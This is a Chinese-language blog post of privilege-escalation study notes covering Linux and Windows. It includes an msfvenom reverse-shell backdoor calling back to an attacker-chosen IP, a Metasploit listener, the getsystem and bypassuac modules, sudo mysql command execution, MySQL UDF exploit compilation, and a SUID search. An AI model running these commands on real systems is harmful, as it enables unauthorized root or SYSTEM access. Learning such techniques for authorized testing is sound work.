提权


1.系统内核漏洞提权

uname -a  #查看系统内核和版本信息
然后searchexploit查找漏洞的exp
	searchexploit 39166  # ubantu 14.04 的提权脚本
或者http://www.exploit-db.com/漏洞利用平台
# 如:找 Linux kali 6.8.11-amd64 exploit

2.uid提权

上传msf木马进入后渗透meterpreter后,直接执行getsystem尝试提权

3.msf提权

首先,创建后门并开启监听,靶机成功执行后进入到后渗透….

# 生成反弹shell后门
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=<local_ip> lport=7777 -f elf > ~/houmen.elf
msfconsole
use exploit/multi/handler  # 开启监听
set payload linux/x64/meterpreter/reverse_tcp
set lhost <local_ip>
set lport 7777
run
background

然后下面有两种提权方式

<1>在msf中利用系统内核漏洞提权模块进行提权

use post/multi/recon/local_exploit_suggester  # 查找该session可用的提权exp	
或 use post/windows/gather/enum_patches
    #它俩可以识别目标系统中存在的未打补丁的内核漏洞,并提供 利用该漏洞去提权和攻击 的模块。
    set session 1
    run
    use 1(local_exploit_suggester模块扫描出的该靶机未打补丁的模块)
    set session 1
    run
meterpreter> shell  # meterpreter后渗透模块下创建shell

<2>利用getsystem和bypassuac进行提权

进入到后渗透后,可以直接执行getsystem进行提权,但是很多时候会失败,会提示管道内存问题、令牌问题、RPCSS变体等,并且即使成功也不稳定,很容易掉。

于是先利用bypassuac,然后再执行getsystem,就非常稳定提权了!

①getsystem提权原理

1、产生一个进程,它创建一个命名管道并等待服务来连接。
2、创建一个新的Windows服务,设置为SYSTEM运行,去连接上面创建好的命名管道。
3、该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
4、然后用新收集的system模拟令牌产生cmd.exe,并且我们有一个system特权进程

②bypassuac

msf中包含多个bypassuac模块,如下:

exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
windows/local/bypassuac_vbs
windows/local/ask
use exploit/windows/local/bypassuac
set session 1  #上面后渗透的session
run    # run之后会进入到bypassuac之后的meterpreter下
meterpreter> getsystem   #此时再执行getsystem进行提权
1>.UAC是什么,为什么要绕过UAC

UAC(User Account Control 用户账户控制),其主要目的是在执行可能影响系统设置或其他用户的操作时,通过弹出提示框的方式向用户请求权限,以此来防止恶意软件在用户不知情的情况下进行系统级的更改,保护系统的安全性和稳定性。当程序需要提升权限时,UAC 会根据系统设置和程序的权限要求,决定是否显示提示框让用户确认操作。

简而言之就是下面这玩意儿,我们在打开软件时也经常会弹出来:

image-20250409144900547

也就是说,我们直接getsystem的话,它会创建一个system运行的服务,然后连接上命名管道去请求system执行权限的时候,就可能会被上面这个UAC弹框给阻断,所以这就是我们提权不成功时为什么要先绕过UAC再提权的原因。

2>.bypassuac的原理

BypassUAC 的核心原理是利用操作系统或应用程序中存在的漏洞、设计缺陷或特定的机制,在不触发 UAC 提示框的情况下,使程序获得管理员权限。攻击者或者一些需要高权限运行的工具会尝试找到系统中的薄弱环节,绕过 UAC 的权限验证过程。

4.sudo提权

sudo -l  #查看可以以root身份执行的命令
如mysql 可以用sudo去执行,我们就可以通过-e参数去执行命令
	sudo mysql -e '\! <command>'   #mysql执行命令(前提是mysql无密码,否则需要知道它的密码)

5.数据库提权

<1>UDF提权

mysql 提权方式有  udf提权、mof提权
	searchexploit 1518  # mysql 4.x/5.0的udf提权脚本(需要知道root的密码)
	此脚本提权步骤(将脚本传到在目标机器后,在目标机器执行):
		gcc -g -c raptor_udf2.c
		gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
		mysql -uroot -p

image-20250331145843575

最后执行!sh,就可以获得root权限了。

<2>mof 提权

6.缓冲区溢出漏洞提权(较难)

学过缓冲区溢出提权,都会了解到SECRET文件夹目录

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null

image-20250331150008888


文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录